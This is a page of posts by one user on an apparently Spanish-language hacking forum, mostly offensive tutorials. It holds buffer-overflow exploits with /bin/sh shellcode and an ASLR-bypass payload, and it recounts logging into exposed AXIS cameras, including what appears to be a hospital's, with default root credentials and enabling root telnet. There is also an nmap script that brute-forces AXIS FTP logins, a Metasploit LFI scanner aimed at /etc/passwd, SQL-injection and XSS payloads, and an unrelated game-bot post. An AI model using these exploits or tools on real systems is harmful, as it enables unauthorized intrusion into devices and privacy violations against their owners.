Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

NOPS*452+Shellcode(152)+NOPS*400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit



Logrando esquivar satisfactoriamente ASLR.

12
Bugs y Exploits / Desbordando el buffer en linux x86 (II) [NOP Sled]
« en: Septiembre 08, 2014, 11:16:35 pm »


En el anterior post You are not allowed to view links. Register or Login se hizo una pequeña introduccion al funcionamiento del stack y a los registros del procesador, ademas se logro modificar el flujo de datos de un programa para que atente a una funcion que no habia sido llamada.

En este nuevo apartado se vera como inyectar un shellcode en la memoria para lograr ejecutar codigo a travez del desbordamiento.

Para el poc se va a utlizar el mismo source que la vez pasada salvo que el buffer aumentara su tamaño a 500 bytes.
Seguimos lo mismos pasos que en el paper anterior.

Desactivamos ASLR

Código: (bash) You are not allowed to view links. Register or Login
echo 0 > /proc/sys/kernel/randomize_va_space
y compilamos

Código: (bash) You are not allowed to view links. Register or Login
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c
Abrimos gdb y arrancamos por pasarle 506 caracteres

Código: (bash) You are not allowed to view links. Register or Login
run $(python -c 'print "\x41"*506')




Ya vemos como se va llenando el EIP

Agregamos 2 mas y lo terminamos de completar.

Código: (bash) You are not allowed to view links. Register or Login
run $(python -c 'print "\x41"*508')



Ahora bien hasta aca todo perfecto, ahora tenemos que buscar donde poder incrustar el shellcode.

Un shellcode no es mas que un conjunto de instrucciones en ensamblador programado para una tarea especifica, el shellcode que se vera a continuacion nos dara una sesion sh en el sistema. Como dije anteriormente una vez que pasamos el tamaño limite del buffer, los datos comienzan a escribirse en los demas registros, entonces vamos a ver en que otro lugar se mandaron las A's, si le echamos una ojeada al registro ESP.

Código: (bash) You are not allowed to view links. Register or Login
x/100x $esp
El anterior comando nos mostrara 100 direcciones dentro de ESP



Se puede ver que parte del buffer se ha inyectado al registro, perfect!
Ahora solamente tenenemos que buscar/generar un shellcode acorde a nuestra arquitectura y OS

Podriamos generarlo con metasploit, pero para este apartado voy a utilizar uno que encontre en shell-storm

You are not allowed to view links. Register or Login

Código: (text) You are not allowed to view links. Register or Login
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
El shellcode tiene un tamaño de 23 bytes por le que le restamos la long al buffer-4 bytes pertenecientes al EIP y lo incluimos dentro del payload

Quedando asi

508 NOPS - 4 bytes (EIP) =504

504 NOPS - 23 bytes (SHELLCODE) = 481 NOPS

Payload= \x90*481+shellcode(23)+EIP(4)

En este punto paso a explicar algo, por que reemplaze \x41 por \x90?

\x90 es un NOP (no operacion), un NOP es una instruccion en ensamblador que simplemente no hace nada y nos servira como puente al shellcode que se escribe despues de esta.

Ahora miremos como quedo el ESP luego de inyectar el payload, para esta ejecucion reemplaze el EIP por \x42=B.

Código: (bash) You are not allowed to view links. Register or Login
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x42"*4')
Código: (bash) You are not allowed to view links. Register or Login
x/100x $esp


En el recuadro verde vemos como se colaron los NOPS y en el rojo se ve como empieza a filtrarse el shellcode.

Ahora lo unico que tenemos que hacer es indicar en el EIP cualquier direccion de memoria en donde se hayan alojado los NOPS



Usaremos esta : 0xbffffc70

La invertimos, inyectamos y esperamos la shell!

Código: (bash) You are not allowed to view links. Register or Login
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x70\xfc\xff\xbf"')


Hasta el momento se vio como explotar satisfactoriamente el desbordamiento, desactivando previamente ASLR para el proximo se vera una forma de bypassear ese sistema de seguridad. saludos!

13
Bugs y Exploits / Desbordando el buffer en linux x86 (I)
« en: Septiembre 07, 2014, 09:09:40 pm »


Cada vez que corremos un proceso en la maquina, se crea una memoria virtual para dicho proceso, ese segmento se divide en 3 partes, el texto, los datos y por ultimo el stack, que es donde nos vamos a concentrar para realizar la explotacion de este tipo de vulnerabilidad.


Que es el stack?

El stack es un segmento en la memoria que se encarga de almacenar datos y a su vez recuperarlos, administra la informacion en modo LIFO (last in first out), quiere decir que el ultimo dato en entrar es el primero en salir, un ejemplo mas sencillo seria comparar el stack con una pila de cd's, en el que el primer cd hace de base de la pila y para llegar a el hay que retirar uno por uno los que se encuentran encima. Entonces cada vez que se ingresa un dato al stack se utiliza una instruccion denominada PUSH y cuando se retira un dato se llama a la instruccion POP, algo similar a un array.

Los registros del procesador.

El procesador cuenta con varios registros que cumplen diversas tareas en el stack, por el momento solo voy a mencionar a 3 de ellos.

EIP - Registro que almacena la direccion de memoria de la proxima funcion que se va a ejecutar.

ESP - Apunta a la parte superior del stack

EBP - Aputa a la base del stack


Ahora que ya se explicaron algunos conceptos basicos sobre el tema, vayamos al nudo del tutorial.


Que es un Buffer overflow?

Empezemos por definir que es un buffer, no es mas que un espacio de memoria en donde se vuelcan datos para determinada accion por ejemplo, tengo el siguiente programa en c.

Código: (c) You are not allowed to view links. Register or Login
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

    char buffer[10];

    strcpy(buffer, argv[1]);

    printf(buffer);

    return 0;
}

Donde se define un buffer de 10 bytes, luego se lo pasa a la funcion strcpy que almacena en el buffer el argumento insertado por el usuario, esta misma no se encarga de controlar el tamaño limite del buffer por lo tanto si se introduce una mayor cantidad de caracteres,  el espacio desbordara y comenzara a sobrescribir los registros de memoria cercanos al buffer.

Antes que nada, vamos a desactivar ASLR

ASLR en criollo es un sistema de seguridad que vuelve aleatoria las direcciones de la memoria virtual.

Código: (bash) You are not allowed to view links. Register or Login
echo 0 > /proc/sys/kernel/randomize_va_space
y compilaremos el prog con los siguientes flag de gcc.

Código: (bash) You are not allowed to view links. Register or Login
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o prog prog.c
Para quitarle algunas protecciones al stack que le agrega gcc al compilar.

Probemos pasandole mas de 10 caracteres al programa.



Como se ve el programa crashea, veamos que pasa por dentro con gdb.

Código: (bash) You are not allowed to view links. Register or Login
gdb prog
Le pasamos los argumentos

Código: (bash) You are not allowed to view links. Register or Login
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
y una vez que el prog nos patee miramos en los registros a ver que encontramos?

Código: (bash) You are not allowed to view links. Register or Login
info registers


Como se ve en la imagen, se sobrescribieron dos registros como EIP y EBP con x41, que representa el caracter A en hex.

Ahora por que crashea?, como explique anteriormente, el registro EIP contenia la direccion  de la proxima funcion a ejecutar, pero al ser sobreescrito con 4 A's, EIP termina apuntando a una direccion invalida.

Sabiendo que podemos inyectar en EIP, podriamos controlar el flujo del programa y mandarlo a la direccion que se nos ocurra.

Controlando el flujo de ejecucion.

Vamos con otro ejemplo pero un poco mas divertido.

Le agregue la funcion owned() al programa anterior, que lo unico que hace es imprimir un texto.

Código: (c) You are not allowed to view links. Register or Login
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void owned(){
    printf("Owned :)");
}


int main(int argc, char *argv[]) {

    char buffer[10];

    strcpy(buffer, argv[1]);

    printf(buffer);

return 0;
}

Pero no vamos a llamarla en el code, sino que vamos a inyectarle la direccion de memoria de owned() al EIP para asi alterar la salida del prog.

Compilamos y abrimos con gdb.

Ahora tenemos que saber el punto exacto donde empieza a sobrescribirse EIP.

Le pasamos 14 A's - nada

Le pasamos 15 A's y se puede ver como empieza a infectarse el EIP



Como una direccion de memoria esta compuesta por 4 bytes le sumamos 3 y tenemos el EIP bien pintado con 18 A's.



Ahora solo nos queda averiguar la direccion donde la funcion owned() comienza a ser pusheada al stack, para esto vamos a desensamblarla

Código: (bash) You are not allowed to view links. Register or Login
disas owned


Se ven las instrucciones del codigo ensamblador, la primera linea comienza a pushear la funcion asi que usaremos esa direccion de memoria: 0x08048408

Ahora que tenemos la direccion con la que editaremos el EIP, solo basta restar 4 A's e incluirla.

A*14 + 0x08048408

Voy a utlizar python para realizar la inyeccion. como se ve, se utiliza el escape \x para codificar los datos.



Pero si miramos la direccion a donde apunta el EIP vemos que esta al revez, esto pasa por que los procesadores Intel utilizan el sistema little-endian por lo tanto tendremos que invertir la direccion antes de ingresarla.



Y ahora si logramos ver la salida de la funcion owned.

Y si en vez de direccionar a una funcion, lograramos llegar hasta un shellcode alojado en la memoria?, eso se vera en el proximo tutorial, saludos!

14
Bugs y Exploits / Tomando el control de una camara AXIS - Parte I
« en: Agosto 11, 2014, 06:59:18 pm »


Hay veces en las que se me da por jugar con Shodan, realizando busqueda de routers, camaras IP u otros dispositivos, esta vez me puse a indagar las camaras AXIS que se encontraban en la red publica.

Simplemente poniedon AXIS en el buscador podemos encontrar unas cuantas disponibles, sin embargo la gran mayoria dispone de autentificacion HTTP Digest para acceder al panel (pero no todas) incluso muchas poseen passwords como el clasico 123456.



Entonces me puse a averiguar informacion de este tipo de camaras, que bien son dispositivos con Linux arm* embebido y otra cosa interesante es que el user por defecto es root, asi que me puse a probar intentos de logueo con root:123456, root:root, siempre a travez de las direcciones que me arrojaba shodan y me cruze con una gran cantidad de dispositivos que realmente estaban configurados con esas credenciales y es mas algunos ni siquiera tenian activado la autentificacion por http.

Me tope con algunas como estas:

Lo que pareciera ser un hospital.



Un pequeño local de electrodomesticos en Arabia Saudita



Una pancheria en Medellin Colombia.



Ahora que ya habia accedido al panel,  queria ver la forma de tomar el control del mini OS GNU.

Por empezar estos dispositivos cuentan con un servidor ftp configurado con las mismas credenciales que el http, pero por defecto el demonio telnet se encuentra desabilitado al inicio, pero esto no quita que pueda ser activado a travez del servidor web utilizando un editor de ficheros dentro de las opciones del sistema.



Solo basta con editar el fichero /etc/inittab y descomentar la linea:

Código: (bash) You are not allowed to view links. Register or Login
#tnet:35:once:/usr/sbin/telnetd


Salvar los cambios, y reiniciar el dispositivo, esto podemos hacerlo mediante el panel.



O bien por ftp con el siguiente comando.

Código: (bash) You are not allowed to view links. Register or Login
quote site reboot


Una vez iniciado el sistema seremos capaces de establecer una conexion por telnet como usuario root.



No quedando satisfecho con la pobre cantidad de camaras que me proveia shodan me dispuse a codear un NSE script para realizar sondeos con nmap y ver que me encontraba.

La manera de identificar estos juguetitos es mirando el banner que tira el ftp, una vez identificado, el script simplemente intenta loguearse como root, utilizando contraseñas debiles y ademas comprueba si el panel se encuentra protegido.

Código: (perl) You are not allowed to view links. Register or Login
description = [[
Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
o sin autentificacion HTTP digest.
]]

author = "[Q]3rV[0]"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "auth"}

---
--
-- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
-- @output
--PORT   STATE SERVICE
--21/tcp open  ftp
--80/tcp open  http

--Host script results:
--| axis:
--|   Host = xxx.x.xxx.3
--|   Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
--|_  Auth = root:root
--
---


local http = require "http"
local ftp = require "ftp"
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

hostrule=function(host)
local http_port, ftp_port
http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
return false
end
ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
return false
end
return true
end

local out={}

local dic={'root', 123456, 1234}

local function data_out(out, message_banner, auth, host)
table.insert(out, string.format("Host = %s", host.ip))
table.insert(out, string.format("Version = %s", message_banner))
    table.insert(out, string.format("Auth = %s", auth))
    return stdnse.format_output(true, out)
end

local function http_auth(host)
local response=http.get(host, 80, '/view/viewer_index.shtml')
return response
end


action=function(host)
local socket=nmap.new_socket()
socket:connect(host, 21)
local buffer=stdnse.make_buffer(socket, "\r?\n")
local code, message_banner=ftp.read_reply(buffer)
if string.match(message_banner, "AXIS") then
local response=http_auth(host)
if response.status==401 or response.status==404 or response.status==403 then
for n,pass in ipairs(dic) do
socket:send("USER root\r\n")
local code, message=ftp.read_reply(buffer)
if code==331 then
socket:send("PASS "..pass.."\r\n")
end
local code, message=ftp.read_reply(buffer)
if message == "User logged in, proceed." then
return data_out(out, message_banner, 'root:'..pass, host)
end
end
else
return data_out(out, message_banner, 'HTTP Blank Auth :)', host)
end
return data_out(out, message_banner, 'Failed Auth :(', host)
end
end

Para terminar dejo una salida del script realizando un sondeo de prueba a la red xx.xxx.xx.x/24



15
Bugs y Exploits / Escribiendo un auxiliar para MSF
« en: Diciembre 10, 2013, 04:10:05 pm »


La idea de comenzar a aprender ruby llego solo por el echo de poder ver en la consola del msf un auxiliar escrito por mi, la API de metasploit no es un muy complicadad de llevar y con solo unos dias de practica, y es mas, ya estando familiarizados con otros lenguajes similares como lo son python y perl la forma de tomar el control de ruby se hace mas llevadera que comenzar desde cero, por suspuesto no estoy diciendo que sean realmente identicos pero ambos lenguajes poseen ciertas caracteristicas como la sencilles de su sintaxis, entre otras.

Durante este tutorial se mostrara paso a paso como aderir nuestra herramienta escrita en ruby como modulo auxiliar de msf. Para ello programe un sencillo scanner de LFI.


Código: (ruby) You are not allowed to view links. Register or Login
#Autor: [Q]3rV[0]

require 'net/http'
require 'uri'

def conn(vector)

  host=URI.parse(vector)

  return Net::HTTP.get(host)

end

def compr(data, vector)

        if data =~ /root:/
            puts "Parametro vulnerable a LFI -> #{vector}\n"
        else
            puts "Not Found -> #{vector}\n"

    end
end

def lfi(web, pb, file)

    a=0

    while a<pb
        a=a+1

        traversal="../"*a+file
        vector=web+traversal

        data=conn(vector)

        compr(data, vector)

end
end

lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")

Se le debera pasar como argumentos el parametro vulnerable y un numero que indicara la cantidad de '../'  que realizara la inyeccion.



Lo primero que haremos sera importar el modulo msf/core y crer una clase en la cual heredaremos los metodos de Msf::Auxiliary.
Código: (ruby) You are not allowed to view links. Register or Login
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

end

Luego crearemos el metodo initialize que contendra dos funciones: super() y register_options().

Código: (ruby) You are not allowed to view links. Register or Login
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super()

        register_options()
end

end

super() contendra la informacion de nuestro auxiliar, tales como la version, el nombre del autor, la descripcion del modulo, etc.

Código: (ruby) You are not allowed to view links. Register or Login
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options()

end
end
Por otro lado register_options() contendra las opciones del auxiliar, y es donde definiremos los argumentos para luego setearlos desde msf.

La funcion tomara dos argumentos

Código: (ruby) You are not allowed to view links. Register or Login
register_options([],self.class)
Dentro del array definiremos las opciones teniendo tipos como:

Código: (ruby) You are not allowed to view links. Register or Login
OptInt.new() # Para valores enteros
OptString.new() # Para cadenas
OptAddress.new() # Para direcciones

En nuestro caso quedaria de la siguiente manera

Código: (ruby) You are not allowed to view links. Register or Login
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']),
          OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end
end

Fijense la sintaxis de Optxxx
Código: (ruby) You are not allowed to view links. Register or Login
OptString.new('RHOST',[true, 'Indique el target'])
Recibe dos argumentos, el primero indica el nombre del parametro, el segundo es un array que contiene como primer indice un valor boleano que indica si es prescindible definir esa variable, y el segundo indice contiene la descripcion de la opcion.

Bien, ahora pasemos a la parte donde hubicaremos el codigo del scanner.

Definiremos otro metodo llamado run() donde incluiremos el codigo.

Código: (ruby) You are not allowed to view links. Register or Login
require 'msf/core'
require 'net/http'
require 'uri'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']), 
          OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end

    def run()

        def conn(vector)

host=URI.parse(vector)

return Net::HTTP.get(host)

end

def compr(data, vector)

if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"

end
end

def lfi(web, pb, file)

a=0

while a<pb
a=a+1

traversal="../"*a+file
vector=web+traversal

data=conn(vector)

compr(data, vector)

end
end

lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")   

end

end

Pero todavia falta el pasaje de los argumentos y eso lo haremos con datastore['PARAMETRO'], donde PARAMETRO seran los antes definidos con Optxxx.new()

Quedando finalizado nuestro modulo auxiliar para Msf.

Código: (ruby) You are not allowed to view links. Register or Login
require 'msf/core'
require 'net/http'
require 'uri'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']),
   OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end

    def run()

        def conn(vector)

host=URI.parse(vector)

return Net::HTTP.get(host)

end

def compr(data, vector)

if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"

end
end

def lfi(web, pb, file)

a=0

while a<pb
a=a+1

traversal="../"*a+file
vector=web+traversal

data=conn(vector)

compr(data, vector)

end
end

lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd")
lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd%00")   

end

end

Para terminar agregaremos el auxiliar a msf, crearemos un direcotorio en /opt/metasploit/apps/pro/msf3/modules/auxiliary y copiaremos nuestro script dentro.

Luego accederemos a el.




16
Off Topic / Contribuir con referrals para el ctf365
« en: Noviembre 02, 2013, 06:26:18 pm »
Armo este post para pedirles una mano con los referrals del ctf365, necesitamos como minimo 5 para acceder a la vpn del ctf, hemos registrado un team con el nombre de underc0de, solo tiene que seguir el siguiente enlace You are not allowed to view links. Register or Login y registrarse en la web (el registro es corto y sencillo), simplemente le dan a la accion sign up, ingresan su mail, luego verifican que les haya llegado el mail para confirmar el acceso y por ultimo los va a llevar a una pagina de registro una vez que esten completamen registrados podran darnos  un referral siguiendo el siguiente link You are not allowed to view links. Register or Login

desde ya muchas gracias a todos los que colaboren.

[Q]3rV[0]

17
Python / Python Bots 1.0
« en: Septiembre 16, 2013, 10:31:10 pm »

Python Bots 1.0 es un juego de programacion en el cual deberemos crear desde 0 un bot utilizando el modulo gamefile del cual nos provee la aplicacion y lanzarlo a la batalla.

La API es muy sencilla de usar asi que paso a mostrarles algunas funciones que pueden usar para comenzar a construir sus propias maquinas.

Primero y antes que nada a descargar el juego.

DESCARGA: You are not allowed to view links. Register or Login

El bot requiere de la creacion de las siguientes funciones:

Código: (python) You are not allowed to view links. Register or Login
name()

startDirection()  #Opcional

color()

commands()

target_spotted(direction)

 

name() debera retornar el nombre de nuestro bot:

 

Código: (python) You are not allowed to view links. Register or Login
def name():
    return "[Q]3rV[0]"


color() obviamente nos pinta la carroceria

el formato va de la siguiente manera (0,0,0) al (255,255,255)

Como yo lo quiero negro

 

Código: (python) You are not allowed to view links. Register or Login
def color():
    return (0,0,0)


startDirection() es opcional y podremos indicarle en que posicion se encuntre le robot cuando el juego inicie.

 

Código: (python) You are not allowed to view links. Register or Login
def startDirection():
    return 90


commands() Sobre esta funcion se definiran las acciones que realizara nuestro robot.

 

Código: (python) You are not allowed to view links. Register or Login
gamefile.robotHealth() #Retorna el valor de la salud del robot entre 1-82
gamefile.move(frames) #Se movera determinada cantidad de cuadros
gamefile.stop(frames) #Se parara cada tantos frames
gamefile.fire() #Para realizar disparos
gamefile.turn_left(grados) #Para girar tantos grados a la izquierda
gamefile.turn_right(grados) #Para girar tantos grados a la derecha
gamefile.done() #Este metodo es necesario ya que indica el final de bucle para que las demas acciones puedan seguir repitiendose.
gamefile.spinradar(direction) #Seteamos la direccion en la que girara el radar "RIGHT" o "LEFT"
gamefile.lockradar(TEXT) #Podemos especificar 3 opciones ("GUN" "FREE" "BASE")

 

target_spotted(direction)

Con esta funcion manejaremos el radar de nuestro tanquesito. Cuando un blanco es detectado por este, la funcion es llamada.

gamefile.pointgun(direction)

 

Código: (python) You are not allowed to view links. Register or Login
def target_spotted(direction):
    gamefile.pointgun(direction)

 

Para culminar les dejo el motor de un bot que arme, junto con un video de muestra.

 
Código: (python) You are not allowed to view links. Register or Login
import gamefile

def name():
    return "[Q]3rV[0]"

def colour():
    return (0, 0, 0)

def commands():
    gamefile.spinradar("FREE")
    gamefile.lockradar("FREE")
    gamefile.move(200)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.move(300)
    gamefile.fire()
    gamefile.turn_left(100)
    gamefile.fire()
    gamefile.done()
    if gamefile.robotHealth() < 41:
        gamefile.move(200)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.move(300)
        gamefile.fire()
        gamefile.turn_right(100)
        gamefile.fire()
        gamefile.done()

def target_spotted(direction):
        gamefile.pointgun((direction)*1.4)
        gamefile.fire()
        gamefile.fire()
        gamefile.fire()



18
Bugs y Exploits / MYSQLI EB con extractvalue() and updatexml()
« en: Julio 26, 2013, 02:17:37 pm »
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: (xml) You are not allowed to view links. Register or Login
<b>q3rv0</b>
Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: (mysql) You are not allowed to view links. Register or Login
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>

La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: (mysql) You are not allowed to view links. Register or Login
mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: (mysql) You are not allowed to view links. Register or Login
mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '[email protected]'

Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

You are not allowed to view links. Register or Login union select extractvalue(1, concat(0x7e, version()))--






Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: (xml) You are not allowed to view links. Register or Login
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>
La sintaxis de updatexml() es la siguiente:

Código: (mysql) You are not allowed to view links. Register or Login
updatexml('cadena', 'xpath_expr', 'cadena actualizada')
Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: (mysql) You are not allowed to view links. Register or Login
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>

Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: (mysql) You are not allowed to view links. Register or Login
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>

Concatenamos y obtenemos el resultado completo.

Código: (mysql) You are not allowed to view links. Register or Login
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '[email protected]'
mysql>





Referencia: You are not allowed to view links. Register or Login

19
No es necesario que un parametro trabaje con valores tipo "string" para incluir ficheros localmente, hay ciertos parametros que trabajan con funciones como include(), require(), etc pero lo hacen por medio de un valor entero,por ejemplo:

Tenemos la siguiente url:

You are not allowed to view links. Register or Login

La cual se encarga de mostrar cierto contenido dependiendo del valor que sea ingresado en el "id".En este caso el script realiza una sentencia en la base de datos para obtener el nombre del fichero, el cual luego sera pasado a include().
Código: (php) You are not allowed to view links. Register or Login
$query=mysqli_query($conexion, "SELECT path FROM archivos WHERE id=".$_GET['id'].";");
$fichero=mysqli_fetch_array($query, MYSQLI_ASSOC);
include($fichero['path']);

Ahora vamos a un caso real.

La vulnerabilidad se da del lado del admin, al ingresar una comilla simple vemos el siguiente error.



El problema es que no podemos realizar un path traversal directamente por lo que se explicaba en lineas anteriores, pero si podriamos comprobar si el mismo parametro es vulnerable a inyeccion de comandos SQL.



Definitivamente si, y nos arroja la columna 3 la cual hace referencia a la seleccion de la ruta del archivo.

Entonces podriamos probar a inyecctar una sentencia para poder divisar cualquier fichero (siempre dentro de los limites) a nuestro antojo.

Veamos el fichero /etc/passwd.

You are not allowed to view links. Register or Login union select 1,2,0x2f6574632f706173737764,4,5--



Como dije anteriormente este parametro vulnerable se encuentra detras del panel de administracion, pero hay muchas veces en las que la reglas de un upload no pueden ser evadidas y hay que buscar otra manera de subir una shell, tranquilamente se podria explotar mediante una jpg file inclusion y proseguir con la intrusion.

20
Hacking ShowOff / XSS speedy
« en: Julio 14, 2013, 01:25:08 pm »


Path vuln= You are not allowed to view links. Register or LoginXSS-reflected

Vector= </script><script>alert(String.fromCharCode(91, 81, 93, 51, 114, 86, 91, 48, 93))</script>

Reportado=SI (hace un mes)

Páginas: [1] 2 3